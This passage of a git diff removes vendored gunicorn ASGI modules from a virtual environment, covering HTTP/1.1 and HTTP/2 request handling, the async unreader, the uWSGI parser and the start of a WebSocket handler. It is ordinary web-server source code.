callback parser - WebSocket uses its own data handling - self._callback_parser = None - - scope = self._build_websocket_scope(request, sockname, peername) - ws_protocol = WebSocketProtocol( - self.transport, scope, self.app, self.log - ) - - # Store reference so data_received() forwards to WebSocket - self._websocket = ws_protocol - - await ws_protocol.run() - - async def _handle_http_request(self, request, sockname, peername): - """Handle a single HTTP request.""" - scope = self._build_http_scope(request, sockname, peername) - response_started = False - response_complete = False - exc_to_raise = None - use_chunked = False - omits_body = False - omits_body_warned = False - - # Reset response buffer for write batching - self._response_buffer = None - - # Response tracking for access logging - response_status = 500 - response_headers = [] - response_sent = 0 - - # Use body receiver created in _on_headers_complete (receives data via callbacks) - body_receiver = self._body_receiver - - async def send(message): - nonlocal response_started, response_complete, exc_to_raise - nonlocal response_status, response_headers, response_sent, use_chunked, omits_body - nonlocal omits_body_warned - - # If client disconnected, silently ignore send attempts - # This allows apps to finish cleanup without errors - if self._closed: - return - - msg_type = message["type"] - - if msg_type == "http.response.informational": - # Handle informational responses (1xx) like 103 Early Hints - info_status = message.get("status") - info_headers = message.get("headers", []) - self._send_informational(info_status, info_headers, request) - return - - if msg_type == "http.response.start": - if response_started: - exc_to_raise = RuntimeError("Response already started") - return - response_started = True - response_status = message["status"] - response_headers = message.get("headers", []) - - # Check if Content-Length or Transfer-Encoding is present - has_content_length = False - has_transfer_encoding = False - for name, _ in response_headers: - name_lower = name.lower() if isinstance(name, str) else name.lower() - if name_lower in (b"content-length", "content-length"): - has_content_length = True - elif name_lower in (b"transfer-encoding", "transfer-encoding"): - has_transfer_encoding = True - use_chunked = True # Framework already set chunked encoding - - # No-body responses (HEAD/1xx/204/304) must not carry a body. - # Always drop Transfer-Encoding (no chunked terminator without - # a body); Content-Length is dropped only for statuses that - # forbid it per RFC 9110 §6.4.2 (1xx, 204). HEAD and 304 keep - # an app-supplied Content-Length. - omits_body = self._response_omits_body(request.method, response_status) - if omits_body and (has_content_length or has_transfer_encoding): - response_headers = self._strip_body_framing_headers( - response_headers, response_status - ) - if self._response_forbids_content_length(response_status): - has_content_length = False - has_transfer_encoding = False - use_chunked = False - - # Use chunked encoding for HTTP/1.1 streaming responses without Content-Length. - # Skip when the response cannot carry a body or when Transfer-Encoding was - # already set by the framework. - needs_chunked = ( - not has_content_length - and not has_transfer_encoding - and request.version >= (1, 1) - and not omits_body - ) - if needs_chunked: - use_chunked = True - response_headers = list(response_headers) + [(b"transfer-encoding", b"chunked")] - - self._send_response_start(response_status, response_headers, request) - - elif msg_type == "http.response.body": - if not response_started: - exc_to_raise = RuntimeError("Response not started") - return - if response_complete: - exc_to_raise = RuntimeError("Response already complete") - return - - body = message.get("body", b"") - more_body = message.get("more_body", False) - - # RFC 9110: HEAD/1xx/204/304 responses must not carry a body, - # even if the framework emits one. Drop body bytes; - # use_chunked has already been forced False above so no - # terminator will be written either. Warn once per request - # so framework bugs surface in logs without spamming on - # multi-chunk streams. - if omits_body: - if body and not omits_body_warned: - self.log.warning( - "ASGI app sent body bytes on a no-body response " - "(method=%s status=%s); dropping per RFC 9110.", - request.method, response_status, - ) - omits_body_warned = True - body = b"" - - if body: - self._send_body(body, chunked=use_chunked) - response_sent += len(body) - # Apply write backpressure for streaming responses - if self._flow_control: - await self._flow_control.drain() - - if not more_body: - if use_chunked: - # Send terminal chunk, combined with any buffered headers - if self._response_buffer: - self._safe_write(self._response_buffer + b"0\r\n\r\n") - self._response_buffer = None - else: - self._safe_write(b"0\r\n\r\n") - elif self._response_buffer: - # Non-chunked empty response - flush headers - self._safe_write(self._response_buffer) - self._response_buffer = None - response_complete = True - - # Only build environ for logging if access logging is enabled - access_log_enabled = self.log.access_log_enabled - - try: - request_start = time.monotonic() - self.cfg.pre_request(self.worker, request) - - await self.app(scope, body_receiver.receive, send) - - if exc_to_raise is not None: - raise exc_to_raise - - # Ensure response was sent - if not response_started: - self._send_error_response(500, "Internal Server Error") - response_status = 500 - - except asyncio.CancelledError: - # Client disconnected - don't log as error, this is normal - self.log.debug("Request cancelled (client disconnected)") - return False - except Exception: - # If response was already completely sent, this is likely a - # disconnect-related exception (e.g. Django's RequestAborted) - if response_complete: - self.log.debug("Exception after response complete (client disconnected)") - else: - self.log.exception("Error in ASGI application") - if not response_started: - self._send_error_response(500, "Internal Server Error") - response_status = 500 - return False - finally: - # NOTE: do NOT clear self._body_receiver here. _handle_connection - # reads it after this method returns to enforce the keepalive - # smuggling guard (refuse keepalive when the body was not framed - # complete). The connection loop clears the reference itself - # after the gate has run. - try: - request_time = _RequestTime(time.monotonic() - request_start) - # Only build log data if access logging is enabled - if access_log_enabled: - environ = self._build_environ(request, sockname, peername) - resp = ASGIResponseInfo(response_status, response_headers, response_sent) - self.log.access(resp, request, environ, request_time) - else: - environ = None - resp = None - self.cfg.post_request(self.worker, request, environ, resp) - except Exception: - self.log.exception("Exception in post_request hook") - - # Determine keepalive - if request.should_close(): - return False - - return self.worker.alive and self.cfg.keepalive - - def _build_http_scope(self, request, sockname, peername): - """Build ASGI HTTP scope from parsed request.""" - # Use pre-computed bytes headers if available (fast path) - # Fall back to conversion for HTTP/2 requests - headers_bytes = getattr(request, 'headers_bytes', None) - if isinstance(headers_bytes, list): - headers = list(headers_bytes) # Copy to avoid mutation - else: - headers = [] - for name, value in request.headers: - headers.append((name.lower().encode("latin-1"), value.encode("latin-1"))) - - server = _normalize_sockaddr(sockname) - client = _normalize_sockaddr(peername) - - scope = { - "type": "http", - "asgi": {"version": "3.0", "spec_version": "2.4"}, - "http_version": f"{request.version[0]}.{request.version[1]}", - "method": request.method, - "scheme": request.scheme, - "path": request.path, - "raw_path": request.raw_path if request.raw_path else b"", - "query_string": request.query.encode("latin-1") if request.query else b"", - "root_path": self.cfg.root_path or "", - "headers": headers, - "server": server, - "client": client, - } - - # Add state dict for lifespan sharing - if hasattr(self.worker, 'state'): - scope["state"] = self.worker.state - - # Add HTTP/2 priority extension if available - if hasattr(request, 'priority_weight'): - scope["extensions"] = { - "http.response.priority": { - "weight": request.priority_weight, - "depends_on": request.priority_depends_on, - } - } - - return scope - - def _build_environ(self, request, sockname, peername): - """Build minimal WSGI-like environ dict for access logging.""" - environ = { - "REQUEST_METHOD": request.method, - "RAW_URI": request.uri, - "PATH_INFO": request.path, - "QUERY_STRING": request.query or "", - "SERVER_PROTOCOL": f"HTTP/{request.version[0]}.{request.version[1]}", - "REMOTE_ADDR": peername[0] if peername else "-", - } - - # Add HTTP headers as environ vars - for name, value in request.headers: - key = "HTTP_" + name.replace("-", "_") - environ[key] = value - - return environ - - def _build_websocket_scope(self, request, sockname, peername): - """Build ASGI WebSocket scope from parsed request.""" - # Build headers list as bytes tuples - headers = [] - for name, value in request.headers: - headers.append((name.lower().encode("latin-1"), value.encode("latin-1"))) - - # Extract subprotocols from Sec-WebSocket-Protocol header - subprotocols = [] - for name, value in request.headers: - if name == "SEC-WEBSOCKET-PROTOCOL": - subprotocols = [s.strip() for s in value.split(",")] - break - - server = _normalize_sockaddr(sockname) - client = _normalize_sockaddr(peername) - - scope = { - "type": "websocket", - "asgi": {"version": "3.0", "spec_version": "2.4"}, - "http_version": f"{request.version[0]}.{request.version[1]}", - "scheme": "wss" if request.scheme == "https" else "ws", - "path": request.path, - "raw_path": request.raw_path if request.raw_path else b"", - "query_string": request.query.encode("latin-1") if request.query else b"", - "root_path": self.cfg.root_path or "", - "headers": headers, - "server": server, - "client": client, - "subprotocols": subprotocols, - } - - # Add state dict for lifespan sharing - if hasattr(self.worker, 'state'): - scope["state"] = self.worker.state - - return scope - - def _send_informational(self, status, headers, request): - """Send an informational response (1xx) such as 103 Early Hints. - - Args: - status: HTTP status code (100-199) - headers: List of (name, value) header tuples - request: The parsed request object - - Note: Informational responses are only sent for HTTP/1.1 or later. - HTTP/1.0 clients do not support 1xx responses. - """ - # Don't send informational responses to HTTP/1.0 clients - if request.version < (1, 1): - return - - reason = self._get_reason_phrase(status) - response = f"HTTP/{request.version[0]}.{request.version[1]} {status} {reason}\r\n" - - for name, value in headers: - if isinstance(name, bytes): - name = name.decode("latin-1") - if isinstance(value, bytes): - value = value.decode("latin-1") - response += f"{name}: {value}\r\n" - - response += "\r\n" - self._safe_write(response.encode("latin-1")) - - def _send_response_start(self, status, headers, request): - """Send HTTP response status and headers. - - Uses cached status lines and headers for common cases to avoid - repeated string formatting and encoding. - """ - # Get cached status line bytes - reason = self._get_reason_phrase(status) - status_line = _get_cached_status_line(request.version, status, reason) - - # Build headers as bytes directly - parts = [status_line] - - has_date = False - has_server = False - - for name, value in headers: - if isinstance(name, bytes): - name_lower = name.lower() - parts.append(name) - else: - name_lower = name.lower().encode("latin-1") - parts.append(name.encode("latin-1")) - - parts.append(b": ") - - if isinstance(value, bytes): - parts.append(value) - else: - parts.append(value.encode("latin-1")) - - parts.append(b"\r\n") - - # Track if Date/Server headers are present - if name_lower == b"date": - has_date = True - elif name_lower == b"server": - has_server = True - - # Add default headers if not present - if not has_server: - parts.append(_CACHED_SERVER_HEADER) - if not has_date: - parts.append(_get_cached_date_header()) - - parts.append(b"\r\n") - - # Buffer headers for batching with first body chunk - self._response_buffer = b"".join(parts) - - def _effective_peername(self, peername): - """Return the client address advertised via PROXY protocol if any. - - Falls back to the transport peername when PROXY protocol is disabled, - the framing was absent, the parser is the C variant (which currently - does not surface PROXY metadata), or the transport peer is not in - ``proxy_allow_ips`` (defense-in-depth: ``_setup_callback_parser`` - already disables PROXY parsing for untrusted peers). - """ - if getattr(self.cfg, 'proxy_protocol', 'off') == 'off': - return peername - if not _check_trusted_proxy( - peername, - self.cfg.proxy_allow_ips, - self.cfg.proxy_allow_networks(), - ): - return peername - parser = self._callback_parser - info = getattr(parser, 'proxy_protocol_info', None) if parser else None - if not info: - return peername - client_addr = info.get('client_addr') - client_port = info.get('client_port') - if client_addr is None or client_port is None: - return peername - return (client_addr, client_port) - - @staticmethod - def _response_omits_body(method, status): - """Return True when the response MUST NOT have a body (RFC 9110). - - Applies to HEAD requests and to status codes that semantically carry no body: - 1xx informational, 204 No Content, 304 Not Modified. - """ - return ( - method == "HEAD" - or status in (204, 304) - or 100 <= status < 200 - ) - - @staticmethod - def _response_forbids_content_length(status): - """Per RFC 9110 §6.4.2 a server MUST NOT send Content-Length on 1xx - or 204 responses. HEAD and 304 are NOT covered: HEAD MAY include the - Content-Length the same GET would have returned, and 304 MAY include - the Content-Length the unconditional response would have carried. - """ - return status == 204 or 100 <= status < 200 - - @classmethod - def _strip_body_framing_headers(cls, headers, status): - """Remove framing headers that must not appear on a no-body response. - - Transfer-Encoding is always stripped (chunked framing implies a body - we will not send). Content-Length is stripped only when the status - forbids it (1xx / 204); HEAD and 304 keep app-supplied Content-Length. - """ - forbidden = {b"transfer-encoding", "transfer-encoding"} - if cls._response_forbids_content_length(status): - forbidden.update({b"content-length", "content-length"}) - return [ - (n, v) for n, v in headers - if (n.lower() if isinstance(n, str) else n.lower()) not in forbidden - ] - - def _send_body(self, body, chunked=False): - """Send response body chunk. - - Combines buffered headers with first body chunk for efficient write batching. - """ - if chunked: - if body: - # Chunked encoding: size in hex + CRLF + data + CRLF - # Use pre-cached prefix for common sizes, else format - size = len(body) - prefix = _CHUNK_PREFIXES.get(size) or f"{size:x}\r\n".encode("latin-1") - chunk_data = prefix + body + b"\r\n" - else: - chunk_data = b"" - - # Combine with buffered headers if present - if self._response_buffer: - self._safe_write(self._response_buffer + chunk_data) - self._response_buffer = None - elif chunk_data: - self._safe_write(chunk_data) - else: - # Non-chunked: combine headers + body or just body - if self._response_buffer: - self._safe_write(self._response_buffer + body) - self._response_buffer = None - elif body: - self._safe_write(body) - - def _send_error_response(self, status, message): - """Send an error response.""" - body = message.encode("utf-8") - response = ( - f"HTTP/1.1 {status} {message}\r\n" - f"Content-Type: text/plain\r\n" - f"Content-Length: {len(body)}\r\n" - f"Connection: close\r\n" - f"\r\n" - ) - self._safe_write(response.encode("latin-1")) - self._safe_write(body) - - def _get_reason_phrase(self, status): - """Get HTTP reason phrase for status code.""" - reasons = { - 100: "Continue", - 101: "Switching Protocols", - 103: "Early Hints", - 200: "OK", - 201: "Created", - 202: "Accepted", - 204: "No Content", - 206: "Partial Content", - 301: "Moved Permanently", - 302: "Found", - 303: "See Other", - 304: "Not Modified", - 307: "Temporary Redirect", - 308: "Permanent Redirect", - 400: "Bad Request", - 401: "Unauthorized", - 403: "Forbidden", - 404: "Not Found", - 405: "Method Not Allowed", - 408: "Request Timeout", - 409: "Conflict", - 410: "Gone", - 411: "Length Required", - 413: "Payload Too Large", - 414: "URI Too Long", - 415: "Unsupported Media Type", - 422: "Unprocessable Entity", - 429: "Too Many Requests", - 500: "Internal Server Error", - 501: "Not Implemented", - 502: "Bad Gateway", - 503: "Service Unavailable", - 504: "Gateway Timeout", - } - return reasons.get(status, "Unknown") - - def _close_transport(self): - """Close the transport safely. - - Calls write_eof() first if supported to signal end of writing, - which helps ensure buffered data is flushed before closing. - """ - if self.transport and not self._closed: - try: - # Signal end of writing to help flush buffers - if self.transport.can_write_eof(): - self.transport.write_eof() - self.transport.close() - except Exception: - pass - self._closed = True - - async def _handle_http2_connection(self, transport, ssl_object): - """Handle an HTTP/2 connection.""" - try: - from gunicorn.http2.async_connection import AsyncHTTP2Connection - - peername = transport.get_extra_info('peername') - sockname = transport.get_extra_info('sockname') - - # Use the reader created in connection_made - # (data_received feeds data to self.reader) - reader = self.reader - protocol = asyncio.StreamReaderProtocol(reader) - writer = asyncio.StreamWriter( - transport, protocol, reader, self.worker.loop - ) - - # Create HTTP/2 connection handler - h2_conn = AsyncHTTP2Connection( - self.cfg, reader, writer, peername - ) - await h2_conn.initiate_connection() - - self._h2_conn = h2_conn - - # Main loop - receive and handle requests - while not h2_conn.is_closed and self.worker.alive: - try: - requests = await h2_conn.receive_data(timeout=1.0) - except asyncio.TimeoutError: - continue - except Exception as e: - self.log.debug("HTTP/2 receive error: %s", e) - break - - for req in requests: - try: - await self._handle_http2_request( - req, h2_conn, sockname, peername - ) - except Exception as e: - self.log.exception("Error handling HTTP/2 request") - try: - await h2_conn.send_error( - req.stream.stream_id, 500, str(e) - ) - except Exception: - pass - finally: - h2_conn.cleanup_stream(req.stream.stream_id) - - # Increment worker request count - self.worker.nr += len(requests) - - # Check max_requests - if self.worker.nr >= self.worker.max_requests: - self.log.info("Autorestarting worker after current request.") - self.worker.alive = False - break - - except asyncio.CancelledError: - pass - except Exception as e: - self.log.exception("HTTP/2 connection error: %s", e) - finally: - if hasattr(self, '_h2_conn'): - try: - await self._h2_conn.close() - except Exception: - pass - self._close_transport() - - def _convert_h2_headers(self, headers): - """Convert ASGI headers to HTTP/2 format (lowercase string names).""" - result = [] - for name, value in headers: - if isinstance(name, bytes): - name = name.decode("latin-1") - if isinstance(value, bytes): - value = value.decode("latin-1") - result.append((name.lower(), value)) - return result - - async def _handle_http2_request(self, request, h2_conn, sockname, peername): - """Handle a single HTTP/2 request with streaming support. - - Streams both request and response body chunks immediately, - avoiding buffering entire uploads and enabling SSE, streaming - downloads, and other real-time use cases. - """ - stream_id = request.stream.stream_id - stream = h2_conn.streams.get(stream_id) - scope = self._build_http2_scope(request, sockname, peername) - - response_started = False - response_complete = False - headers_sent = False - exc_to_raise = None - response_status = 500 - response_headers = [] - response_sent = 0 - - # Track if we've finished receiving body - body_received = False - - async def receive(): - nonlocal body_received - - # Check if stream is closed or missing - if stream is None or stream.state.name == "CLOSED": - return {"type": "http.disconnect"} - - # First call: if body already complete (small requests), return it - if not body_received and stream.request_complete and not stream._body_chunks: - body_received = True - body = stream.get_request_body() - return { - "type": "http.request", - "body": body, - "more_body": False, - } - - # Streaming: read next chunk - try: - chunk = await asyncio.wait_for( - stream.read_body_chunk(), - timeout=30.0 - ) - except asyncio.TimeoutError: - return {"type": "http.disconnect"} - - if chunk is None: - body_received = True - return { - "type": "http.request", - "body": b"", - "more_body": False, - } - - if stream._body_complete: - body_received = True - - return { - "type": "http.request", - "body": chunk, - "more_body": not stream._body_complete, - } - - async def send(message): - nonlocal response_started, response_complete, headers_sent - nonlocal response_status, response_headers, response_sent, exc_to_raise - - msg_type = message["type"] - - if msg_type == "http.response.informational": - # Handle informational responses (1xx) like 103 Early Hints over HTTP/2 - info_status = message.get("status") - info_headers = message.get("headers", []) - headers = self._convert_h2_headers(info_headers) - await h2_conn.send_informational(stream_id, info_status, headers) - return - - if msg_type == "http.response.start": - if response_started: - exc_to_raise = RuntimeError("Response already started") - return - response_started = True - response_status = message["status"] - response_headers = message.get("headers", []) - # Don't send headers yet - wait for first body chunk - - elif msg_type == "http.response.body": - if not response_started: - exc_to_raise = RuntimeError("Response not started") - return - if response_complete: - exc_to_raise = RuntimeError("Response already complete") - return - - body = message.get("body", b"") - more_body = message.get("more_body", False) - - # Send headers with first body chunk - if not headers_sent: - headers = self._convert_h2_headers(response_headers) - response_hdrs = [(':status', str(response_status))] - response_hdrs.extend(headers) - - # Send headers without end_stream since we have body - stream = h2_conn.streams.get(stream_id) - if stream is None: - exc_to_raise = RuntimeError("Stream closed") - return - h2_conn.h2_conn.send_headers(stream_id, response_hdrs, end_stream=False) - stream.send_headers(response_hdrs, end_stream=False) - await h2_conn._send_pending_data() - headers_sent = True - - # Stream body immediately - if body: - await h2_conn.send_data(stream_id, body, end_stream=not more_body) - response_sent += len(body) - - if not more_body: - if not body: - # Empty final chunk - send end_stream - await h2_conn.send_data(stream_id, b"", end_stream=True) - response_complete = True - - elif msg_type == "http.response.trailers": - if not response_complete: - exc_to_raise = RuntimeError("Cannot send trailers before body complete") - return - trailer_headers = message.get("headers", []) - trailers = self._convert_h2_headers(trailer_headers) - await h2_conn.send_trailers(stream_id, trailers) - - # Only build environ for logging if access logging is enabled - access_log_enabled = self.log.access_log_enabled - request_start = time.monotonic() - - try: - self.cfg.pre_request(self.worker, request) - await self.app(scope, receive, send) - - if exc_to_raise is not None: - raise exc_to_raise - - # Handle case where app didn't send any response - if not response_started: - await h2_conn.send_error(stream_id, 500, "Internal Server Error") - response_status = 500 - - # Handle case where headers were started but no body was sent - elif not headers_sent: - # Send headers now (empty body response) - headers = self._convert_h2_headers(response_headers) - response_hdrs = [(':status', str(response_status))] - response_hdrs.extend(headers) - stream = h2_conn.streams.get(stream_id) - if stream: - h2_conn.h2_conn.send_headers(stream_id, response_hdrs, end_stream=True) - stream.send_headers(response_hdrs, end_stream=True) - await h2_conn._send_pending_data() - - except Exception: - self.log.exception("Error in ASGI application") - if not headers_sent: - await h2_conn.send_error(stream_id, 500, "Internal Server Error") - response_status = 500 - finally: - try: - request_time = _RequestTime(time.monotonic() - request_start) - # Only build log data if access logging is enabled - if access_log_enabled: - environ = self._build_http2_environ(request, sockname, peername) - resp = ASGIResponseInfo( - response_status, response_headers, response_sent - ) - self.log.access(resp, request, environ, request_time) - else: - environ = None - resp = None - self.cfg.post_request(self.worker, request, environ, resp) - except Exception: - self.log.exception("Exception in post_request hook") - - def _build_http2_scope(self, request, sockname, peername): - """Build ASGI HTTP scope from HTTP/2 request.""" - headers = [] - for name, value in request.headers: - headers.append(( - name.lower().encode("latin-1"), - value.encode("latin-1") - )) - - server = _normalize_sockaddr(sockname) - client = _normalize_sockaddr(peername) - - scope = { - "type": "http", - "asgi": {"version": "3.0", "spec_version": "2.4"}, - "http_version": "2", - "method": request.method, - "scheme": request.scheme, - "path": request.path, - "raw_path": getattr(request, 'raw_path', None) or (request.path.encode("latin-1") if request.path else b""), - "query_string": request.query.encode("latin-1") if request.query else b"", - "root_path": self.cfg.root_path or "", - "headers": headers, - "server": server, - "client": client, - } - - if hasattr(self.worker, 'state'): - scope["state"] = self.worker.state - - # Add HTTP/2 extensions - extensions = {} - if hasattr(request, 'priority_weight'): - extensions["http.response.priority"] = { - "weight": request.priority_weight, - "depends_on": request.priority_depends_on, - } - # Add trailer support extension for HTTP/2 - extensions["http.response.trailers"] = {} - scope["extensions"] = extensions - - return scope - - def _build_http2_environ(self, request, sockname, peername): - """Build minimal environ dict for access logging.""" - environ = { - "REQUEST_METHOD": request.method, - "RAW_URI": request.uri, - "PATH_INFO": request.path, - "QUERY_STRING": request.query or "", - "SERVER_PROTOCOL": "HTTP/2", - "REMOTE_ADDR": peername[0] if peername else "-", - } - - for name, value in request.headers: - key = "HTTP_" + name.replace("-", "_") - environ[key] = value - - return environ diff --git a/venv/Lib/site-packages/gunicorn/asgi/unreader.py b/venv/Lib/site-packages/gunicorn/asgi/unreader.py deleted file mode 100644 index 330f56db78524429746eb032caef6bf51f85a170..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/asgi/unreader.py +++ /dev/null @@ -1,135 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -Async version of gunicorn/http/unreader.py for ASGI workers. - -Provides async reading with pushback buffer support. -""" - -import io - - -class AsyncUnreader: - """Async socket reader with pushback buffer support. - - This class wraps an asyncio StreamReader and provides the ability - to "unread" data back into a buffer for re-parsing. - - Performance optimization: Reuses BytesIO buffer with truncate/seek - instead of creating new objects to reduce GC pressure. - """ - - def __init__(self, reader, max_chunk=8192): - """Initialize the async unreader. - - Args: - reader: asyncio.StreamReader instance - max_chunk: Maximum bytes to read at once - """ - self.reader = reader - self.buf = io.BytesIO() - self.max_chunk = max_chunk - self._buf_start = 0 # Start position of valid data in buffer - - def _reset_buffer(self): - """Reset buffer for reuse instead of creating new BytesIO.""" - self.buf.seek(0) - self.buf.truncate(0) - self._buf_start = 0 - - def _get_buffered_data(self): - """Get all buffered data and reset buffer.""" - self.buf.seek(self._buf_start) - data = self.buf.read() - self._reset_buffer() - return data - - def _buffer_size(self): - """Get size of buffered data.""" - end = self.buf.seek(0, io.SEEK_END) - return end - self._buf_start - - async def read(self, size=None): - """Read data from the stream, using buffered data first. - - Args: - size: Number of bytes to read. If None, returns all buffered - data or reads a single chunk. - - Returns: - bytes: Data read from buffer or stream - """ - if size is not None and not isinstance(size, int): - raise TypeError("size parameter must be an int or long.") - - if size is not None: - if size == 0: - return b"" - if size < 0: - size = None - - buf_size = self._buffer_size() - - # If no size specified, return buffered data or read chunk - if size is None and buf_size > 0: - return self._get_buffered_data() - if size is None: - chunk = await self._read_chunk() - return chunk - - # Read until we have enough data - while buf_size < size: - chunk = await self._read_chunk() - if not chunk: - return self._get_buffered_data() - self.buf.seek(0, io.SEEK_END) - self.buf.write(chunk) - buf_size += len(chunk) - - # We have enough data - extract what we need - self.buf.seek(self._buf_start) - data = self.buf.read(size) - - # Update start position instead of creating new buffer - self._buf_start += size - - # If buffer is getting large with consumed data, compact it - if self._buf_start > 8192: - remaining = self.buf.read() # Read from current position - self._reset_buffer() - if remaining: - self.buf.write(remaining) - - return data - - async def _read_chunk(self): - """Read a chunk of data from the underlying stream.""" - try: - return await self.reader.read(self.max_chunk) - except Exception: - return b"" - - def unread(self, data): - """Push data back into the buffer for re-reading. - - Args: - data: bytes to push back - - Note: This prepends data to the buffer so it will be read first. - """ - if data: - # Get existing buffered data - self.buf.seek(self._buf_start) - existing = self.buf.read() - - # Reset and write new data first, then existing - self._reset_buffer() - self.buf.write(data) - if existing: - self.buf.write(existing) - - def has_buffered_data(self): - """Check if there's data in the pushback buffer.""" - return self._buffer_size() > 0 diff --git a/venv/Lib/site-packages/gunicorn/asgi/uwsgi.py b/venv/Lib/site-packages/gunicorn/asgi/uwsgi.py deleted file mode 100644 index abc7145f84c24720ac61184c8ad47e4567c2bc88..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/asgi/uwsgi.py +++ /dev/null @@ -1,172 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -"""Async uWSGI protocol parser for ASGI workers. - -Reuses the parsing logic from gunicorn/uwsgi/message.py, only async I/O differs. -""" - -from gunicorn.uwsgi.message import UWSGIRequest -from gunicorn.uwsgi.errors import ( - InvalidUWSGIHeader, - UnsupportedModifier, -) - - -class AsyncUWSGIRequest(UWSGIRequest): - """Async version of UWSGIRequest. - - Reuses all parsing logic from the sync version, only async I/O differs. - The following methods are reused from the parent class: - - _parse_vars() - pure parsing, no I/O - - _extract_request_info() - pure transformation - - _check_allowed_ip() - no I/O - - should_close() - simple logic - """ - - # pylint: disable=super-init-not-called - def __init__(self, cfg, unreader, peer_addr, req_number=1): - # Don't call super().__init__ - it does sync parsing - # Just initialize attributes - self.cfg = cfg - self.unreader = unreader - self.peer_addr = peer_addr - self.remote_addr = peer_addr - self.req_number = req_number - - # Initialize all attributes (same as sync version) - self.method = None - self.uri = None - self.path = None - self.query = None - self.fragment = "" - self.version = (1, 1) - self.headers = [] - self.trailers = [] - self.body = None - self.scheme = "https" if cfg.is_ssl else "http" - self.must_close = False - self.uwsgi_vars = {} - self.modifier1 = 0 - self.modifier2 = 0 - self.proxy_protocol_info = None - - # Body state - self.content_length = 0 - self.chunked = False - self._body_remaining = 0 - - # Async factory method - intentionally differs from sync parent: - # - async instead of sync (invalid-overridden-method) - # - different signature for async I/O (arguments-differ) - # pylint: disable=arguments-differ,invalid-overridden-method - @classmethod - async def parse(cls, cfg, unreader, peer_addr, req_number=1): - """Parse a uWSGI request asynchronously. - - Args: - cfg: gunicorn config object - unreader: AsyncUnreader instance - peer_addr: client address tuple - req_number: request number on this connection (for keepalive) - - Returns: - AsyncUWSGIRequest: Parsed request object - - Raises: - InvalidUWSGIHeader: If the uWSGI header is malformed - UnsupportedModifier: If modifier1 is not 0 - ForbiddenUWSGIRequest: If source IP is not allowed - """ - req = cls(cfg, unreader, peer_addr, req_number) - req._check_allowed_ip() # Reuse from parent - await req._async_parse() - return req - - async def _async_parse(self): - """Async version of parse() - reads data then uses sync parsing.""" - # Read 4-byte header - header = await self._async_read_exact(4) - if len(header) < 4: - raise InvalidUWSGIHeader("incomplete header") - - self.modifier1 = header[0] - datasize = int.from_bytes(header[1:3], 'little') - self.modifier2 = header[3] - - if self.modifier1 != 0: - raise UnsupportedModifier(self.modifier1) - - # Read vars block - if datasize > 0: - vars_data = await self._async_read_exact(datasize) - if len(vars_data) < datasize: - raise InvalidUWSGIHeader("incomplete vars block") - self._parse_vars(vars_data) # Reuse sync method - - self._extract_request_info() # Reuse sync method - self._set_body_reader() - - async def _async_read_exact(self, size): - """Read exactly size bytes asynchronously.""" - buf = bytearray() - while len(buf) < size: - chunk = await self.unreader.read(size - len(buf)) - if not chunk: - break - buf.extend(chunk) - return bytes(buf) - - def _set_body_reader(self): - """Set up body state for async reading.""" - content_length = 0 - if 'CONTENT_LENGTH' in self.uwsgi_vars: - try: - content_length = max(int(self.uwsgi_vars['CONTENT_LENGTH']), 0) - except ValueError: - content_length = 0 - self.content_length = content_length - self._body_remaining = content_length - - async def read_body(self, size=8192): - """Read body chunk asynchronously. - - Args: - size: Maximum bytes to read - - Returns: - bytes: Body data, empty bytes when body is exhausted - """ - if self._body_remaining <= 0: - return b"" - to_read = min(size, self._body_remaining) - data = await self.unreader.read(to_read) - if data: - self._body_remaining -= len(data) - return data - - async def drain_body(self): - """Drain unread body data. - - Should be called before reusing connection for keepalive. - """ - while self._body_remaining > 0: - data = await self.read_body(8192) - if not data: - break - - def get_header(self, name): - """Get header by name (case-insensitive). - - Args: - name: Header name to look up - - Returns: - Header value if found, None otherwise - """ - name = name.upper() - for h, v in self.headers: - if h == name: - return v - return None diff --git a/venv/Lib/site-packages/gunicorn/asgi/websocket.py b/venv/Lib/site-packages/gunicorn/asgi/websocket.py deleted file mode 100644 index 3fb10983b6bf6fb898059f2eb3b7edd0b54ad68e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/asgi/websocket.py +++ /dev/null @@ -1,437 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -WebSocket protocol handler for ASGI. - -Implements RFC 6455 WebSocket protocol for ASGI applications. -""" - -import asyncio -import base64 -import hashlib -import struct - - -# WebSocket frame opcodes -OPCODE_CONTINUATION = 0x0 -OPCODE_TEXT = 0x1 -OPCODE_BINARY = 0x2 -OPCODE_CLOSE = 0x8 -OPCODE_PING = 0x9 -OPCODE_PONG = 0xA - -# WebSocket close codes -CLOSE_NORMAL = 1000 -CLOSE_GOING_AWAY = 1001 -CLOSE_PROTOCOL_ERROR = 1002 -CLOSE_UNSUPPORTED = 1003 -CLOSE_NO_STATUS = 1005 -CLOSE_ABNORMAL = 1006 -CLOSE_INVALID_DATA = 1007 -CLOSE_POLICY_VIOLATION = 1008 -CLOSE_MESSAGE_TOO_BIG = 1009 -CLOSE_MANDATORY_EXT = 1010 -CLOSE_INTERNAL_ERROR = 1011 - -# WebSocket handshake GUID (RFC 6455) -WS_GUID = b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11" - - -class WebSocketProtocol: - """WebSocket connection handler for ASGI applications. - - Uses callback-based data feeding instead of StreamReader for efficiency. - Data is fed via feed_data() from the parent protocol's data_received(). - """ - - def __init__(self, transport, scope, app, log): - """Initialize WebSocket protocol handler. - - Args: - transport: asyncio transport for writing - scope: ASGI WebSocket scope dict - app: ASGI application callable - log: Logger instance - """ - self.transport = transport - self.scope = scope - self.app = app - self.log = log - - self.accepted = False - self.closed = False - self.close_code = None - self.close_reason = "" - - # Close handshake state (RFC 6455 Section 7.1.1) - self._close_sent = False - self._close_received = False - self._close_event = asyncio.Event() - - # Message reassembly state - self._fragments = [] - self._fragment_opcode = None - - # Receive queue for incoming messages - self._receive_queue = asyncio.Queue() - - # Callback-based data reception (replaces StreamReader) - self._buffer = bytearray() - self._data_event = asyncio.Event() - self._eof = False - - def feed_data(self, data): - """Feed incoming data from the parent protocol's data_received(). - - Args: - data: bytes received on the connection - """ - if data: - self._buffer.extend(data) - self._data_event.set() - - def feed_eof(self): - """Signal that the connection has been closed.""" - self._eof 